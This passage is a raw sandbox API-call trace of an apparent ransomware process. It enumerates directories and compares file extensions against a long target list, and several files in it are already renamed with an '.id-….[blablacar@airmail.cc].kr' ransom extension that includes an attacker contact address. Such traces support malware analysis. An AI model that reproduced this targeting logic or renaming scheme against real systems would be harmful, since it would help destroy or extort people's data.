(lpString=".grs") returned 4 [0088.829] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0088.829] lstrlenW (lpString=".gz") returned 3 [0088.829] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0088.829] lstrlenW (lpString=".h") returned 2 [0088.829] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0088.829] lstrlenW (lpString=".hdr") returned 4 [0088.829] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0088.829] lstrlenW (lpString=".hpp") returned 4 [0088.829] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0088.829] lstrlenW (lpString=".hta") returned 4 [0088.829] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0088.829] lstrlenW (lpString=".htc") returned 4 [0088.829] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0088.829] lstrlenW (lpString=".htm") returned 4 [0088.830] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0088.830] lstrlenW (lpString=".html") returned 5 [0088.830] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0088.830] lstrlenW (lpString=".icb") returned 4 [0088.830] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0088.830] lstrlenW (lpString=".ics") returned 4 [0088.830] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0088.830] lstrlenW (lpString=".iff") returned 4 [0088.830] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0088.830] lstrlenW (lpString=".inc") returned 4 [0088.830] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0088.830] lstrlenW (lpString=".indd") returned 5 [0088.830] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0088.830] lstrlenW (lpString=".ini") returned 4 [0088.830] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0088.830] lstrlenW (lpString=".iqy") returned 4 [0088.830] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0088.830] lstrlenW (lpString=".j2c") returned 4 [0088.830] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0088.830] lstrlenW (lpString=".j2k") returned 4 [0088.830] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0088.830] lstrlenW (lpString=".java") returned 5 [0088.830] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0088.830] lstrlenW (lpString=".jp2") returned 4 [0088.830] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0088.831] lstrlenW (lpString=".jpc") returned 4 [0088.831] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0088.831] lstrlenW (lpString=".jpe") returned 4 [0088.831] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0088.831] lstrlenW (lpString=".jpeg") returned 5 [0088.831] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0088.831] lstrlenW (lpString=".jpf") returned 4 [0088.831] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0088.831] lstrlenW (lpString=".jpg") returned 4 [0088.831] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0088.831] lstrlenW (lpString=".jpx") returned 4 [0088.831] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0088.831] lstrlenW (lpString=".js") returned 3 [0088.831] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0088.831] lstrlenW (lpString=".jsf") returned 4 [0088.831] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0088.831] lstrlenW (lpString=".json") returned 5 [0088.831] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0088.831] lstrlenW (lpString=".jsp") returned 4 [0088.831] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0088.831] lstrlenW (lpString=".kdc") returned 4 [0088.831] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0088.831] lstrlenW (lpString=".kmz") returned 4 [0088.831] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0088.831] lstrlenW (lpString=".kwm") returned 4 [0088.831] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0088.832] lstrlenW (lpString=".lasso") returned 6 [0088.832] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0088.832] lstrlenW (lpString=".lbi") returned 4 [0088.832] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0088.832] lstrlenW (lpString=".lgf") returned 4 [0088.832] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0088.832] lstrlenW (lpString=".lgp") returned 4 [0088.832] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0088.832] lstrlenW (lpString=".log") returned 4 [0088.832] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0088.832] lstrlenW (lpString=".m1v") returned 4 [0088.832] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0088.832] lstrlenW (lpString=".m4a") returned 4 [0088.832] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0088.832] lstrlenW (lpString=".m4v") returned 4 [0088.832] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0088.832] lstrlenW (lpString=".max") returned 4 [0088.832] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0088.832] lstrlenW (lpString=".md") returned 3 [0088.832] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0088.832] lstrlenW (lpString=".mda") returned 4 [0088.832] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0088.832] lstrlenW (lpString=".mdb") returned 4 [0088.832] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0088.832] lstrlenW (lpString=".mde") returned 4 [0088.832] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0088.833] lstrlenW (lpString=".mdf") returned 4 [0088.833] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0088.833] lstrlenW (lpString=".mdw") returned 4 [0088.833] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0088.833] lstrlenW (lpString=".mef") returned 4 [0088.833] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0088.833] lstrlenW (lpString=".mft") returned 4 [0088.833] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0088.833] lstrlenW (lpString=".mfw") returned 4 [0088.833] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0088.833] lstrlenW (lpString=".mht") returned 4 [0088.833] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0088.833] lstrlenW (lpString=".mhtml") returned 6 [0088.833] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0088.833] lstrlenW (lpString=".mka") returned 4 [0088.833] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0088.833] lstrlenW (lpString=".mkidx") returned 6 [0088.833] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0088.833] lstrlenW (lpString=".mkv") returned 4 [0088.833] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0088.833] lstrlenW (lpString=".mos") returned 4 [0088.833] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0088.833] lstrlenW (lpString=".mov") returned 4 [0088.833] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0088.833] lstrlenW (lpString=".mp3") returned 4 [0088.834] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0088.834] lstrlenW (lpString=".mp4") returned 4 [0088.834] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0088.834] lstrlenW (lpString=".mpeg") returned 5 [0088.834] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0088.834] lstrlenW (lpString=".mpg") returned 4 [0088.834] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0088.834] lstrlenW (lpString=".mpv") returned 4 [0088.834] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0088.834] lstrlenW (lpString=".mrw") returned 4 [0088.834] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0088.834] lstrlenW (lpString=".msg") returned 4 [0088.834] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0088.834] lstrlenW (lpString=".mxl") returned 4 [0088.834] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0088.834] lstrlenW (lpString=".myd") returned 4 [0088.834] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0088.834] lstrlenW (lpString=".myi") returned 4 [0088.834] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0088.834] lstrlenW (lpString=".nef") returned 4 [0088.834] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0088.834] lstrlenW (lpString=".nrw") returned 4 [0088.834] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0088.834] lstrlenW (lpString=".obj") returned 4 [0088.834] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0088.835] lstrlenW (lpString=".odb") returned 4 [0088.835] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0088.835] lstrlenW (lpString=".odc") returned 4 [0088.835] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0088.835] lstrlenW (lpString=".odm") returned 4 [0088.835] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0088.835] lstrlenW (lpString=".odp") returned 4 [0088.835] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0088.835] lstrlenW (lpString=".ods") returned 4 [0088.835] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0088.835] lstrlenW (lpString=".oft") returned 4 [0088.835] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0088.835] lstrlenW (lpString=".one") returned 4 [0088.835] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0088.835] lstrlenW (lpString=".onepkg") returned 7 [0088.835] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0088.835] lstrlenW (lpString=".onetoc2") returned 8 [0088.835] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0088.835] lstrlenW (lpString=".opt") returned 4 [0088.835] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0088.835] lstrlenW (lpString=".oqy") returned 4 [0088.835] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0088.835] lstrlenW (lpString=".orf") returned 4 [0088.835] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0088.835] lstrlenW (lpString=".p12") returned 4 [0088.836] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0088.836] lstrlenW (lpString=".p7b") returned 4 [0088.836] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0088.836] lstrlenW (lpString=".p7c") returned 4 [0088.957] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0088.957] lstrlenW (lpString=".pam") returned 4 [0088.957] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0088.957] lstrlenW (lpString=".pbm") returned 4 [0088.957] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0088.957] lstrlenW (lpString=".pct") returned 4 [0088.957] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0088.957] lstrlenW (lpString=".pcx") returned 4 [0088.957] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0088.957] lstrlenW (lpString=".pdd") returned 4 [0088.957] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0088.957] lstrlenW (lpString=".pdf") returned 4 [0088.957] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0088.957] lstrlenW (lpString=".pdp") returned 4 [0088.957] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0088.957] lstrlenW (lpString=".pef") returned 4 [0088.957] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0088.957] lstrlenW (lpString=".pem") returned 4 [0088.957] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0088.957] lstrlenW (lpString=".pff") returned 4 [0088.957] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0088.957] lstrlenW (lpString=".pfm") returned 4 [0088.957] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0088.957] lstrlenW (lpString=".pfx") returned 4 [0088.958] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0088.958] lstrlenW (lpString=".pgm") returned 4 [0088.958] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0088.958] lstrlenW (lpString=".php") returned 4 [0088.958] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0088.958] lstrlenW (lpString=".php3") returned 5 [0088.958] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0088.958] lstrlenW (lpString=".php4") returned 5 [0088.958] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0088.958] lstrlenW (lpString=".php5") returned 5 [0088.958] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0088.958] lstrlenW (lpString=".phtml") returned 6 [0088.958] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0088.958] lstrlenW (lpString=".pict") returned 5 [0088.958] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0088.958] lstrlenW (lpString=".pl") returned 3 [0088.958] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0088.958] lstrlenW (lpString=".pls") returned 4 [0088.958] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0088.958] lstrlenW (lpString=".pm") returned 3 [0088.958] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0088.958] lstrlenW (lpString=".png") returned 4 [0088.958] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0088.958] lstrlenW (lpString=".pnm") returned 4 [0088.959] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0088.959] lstrlenW (lpString=".pot") returned 4 [0088.959] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0088.959] lstrlenW (lpString=".potm") returned 5 [0088.959] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0088.959] lstrlenW (lpString=".potx") returned 5 [0088.959] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0088.959] lstrlenW (lpString=".ppa") returned 4 [0088.959] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0088.959] lstrlenW (lpString=".ppam") returned 5 [0088.959] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0088.959] lstrlenW (lpString=".ppm") returned 4 [0088.959] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0088.959] lstrlenW (lpString=".pps") returned 4 [0088.959] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0088.959] lstrlenW (lpString=".ppsm") returned 5 [0088.959] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0088.959] lstrlenW (lpString=".ppt") returned 4 [0088.959] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0088.959] lstrlenW (lpString=".pptm") returned 5 [0088.960] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0088.960] lstrlenW (lpString=".pptx") returned 5 [0088.960] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0088.960] lstrlenW (lpString=".prn") returned 4 [0088.960] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0088.960] lstrlenW (lpString=".ps") returned 3 [0088.960] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0088.960] lstrlenW (lpString=".psb") returned 4 [0088.960] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0088.960] lstrlenW (lpString=".psd") returned 4 [0088.960] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0088.960] lstrlenW (lpString=".pst") returned 4 [0088.960] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0088.960] lstrlenW (lpString=".ptx") returned 4 [0088.960] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0088.960] lstrlenW (lpString=".pub") returned 4 [0088.960] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0088.960] lstrlenW (lpString=".pwm") returned 4 [0088.960] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0088.961] lstrlenW (lpString=".pxr") returned 4 [0088.961] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0088.961] lstrlenW (lpString=".py") returned 3 [0088.961] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0088.961] lstrlenW (lpString=".qt") returned 3 [0088.961] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0088.961] lstrlenW (lpString=".r3d") returned 4 [0088.961] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0088.961] lstrlenW (lpString=".raf") returned 4 [0088.961] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0088.961] lstrlenW (lpString=".rar") returned 4 [0088.961] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0088.961] lstrlenW (lpString=".raw") returned 4 [0088.961] lstrcmpiW (lpString1=".raw", lpString2="].kr") returned -1 [0088.961] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0089.042] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7c24893, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7c24893, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c24893, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SPLASH~1.KR")) returned 1 [0089.043] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0089.043] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7cdfd02, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7cdfd02, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7d05eed, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="STRING~1.KR")) returned 1 [0089.043] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7d05eed, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7d05eed, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7d05eed, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="UIINFO~1.KR")) returned 1 [0089.043] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7d2df57, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7d2df57, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7fb493b, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="WATERM~1.KR")) returned 1 [0089.043] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0089.044] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0089.044] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0089.044] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0089.044] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0089.044] FindClose (in: hFindFile=0x4260350 | out: hFindFile=0x4260350) returned 1 [0089.045] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0089.045] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x3cdfcf8 | out: lpFindFileData=0x3cdfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0089.045] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0089.046] lstrlenW (lpString="C:\\Boot") returned 7 [0089.046] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc7d52706, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7d52706, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4260490 [0089.046] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc7d52706, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7d52706, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0089.046] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0089.046] lstrlenW (lpString="BCD") returned 3 [0089.046] lstrlenW (lpString=".1cd") returned 4 [0089.046] lstrcmpiW (lpString1=".1cd", lpString2="$BCD") returned 1 [0089.046] lstrlenW (lpString=".3ds") returned 4 [0089.046] lstrcmpiW (lpString1=".3ds", lpString2="$BCD") returned 1 [0089.046] lstrlenW (lpString=".3fr") returned 4 [0089.046] lstrcmpiW (lpString1=".3fr", lpString2="$BCD") returned 1 [0089.046] lstrlenW (lpString=".3g2") returned 4 [0089.047] lstrcmpiW (lpString1=".3g2", lpString2="$BCD") returned 1 [0089.047] lstrlenW (lpString=".3gp") returned 4 [0089.047] lstrcmpiW (lpString1=".3gp", lpString2="$BCD") returned 1 [0089.047] lstrlenW (lpString=".7z") returned 3 [0089.047] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0089.047] lstrlenW (lpString=".accda") returned 6 [0089.047] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0089.047] lstrlenW (lpString=".accdb") returned 6 [0089.047] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0089.047] lstrlenW (lpString=".accdc") returned 6 [0089.047] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0089.047] lstrlenW (lpString=".accde") returned 6 [0089.047] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0089.047] lstrlenW (lpString=".accdt") returned 6 [0089.047] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0089.047] lstrlenW (lpString=".accdw") returned 6 [0089.047] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0089.047] lstrlenW (lpString=".adb") returned 4 [0089.047] lstrcmpiW (lpString1=".adb", lpString2="$BCD") returned 1 [0089.047] 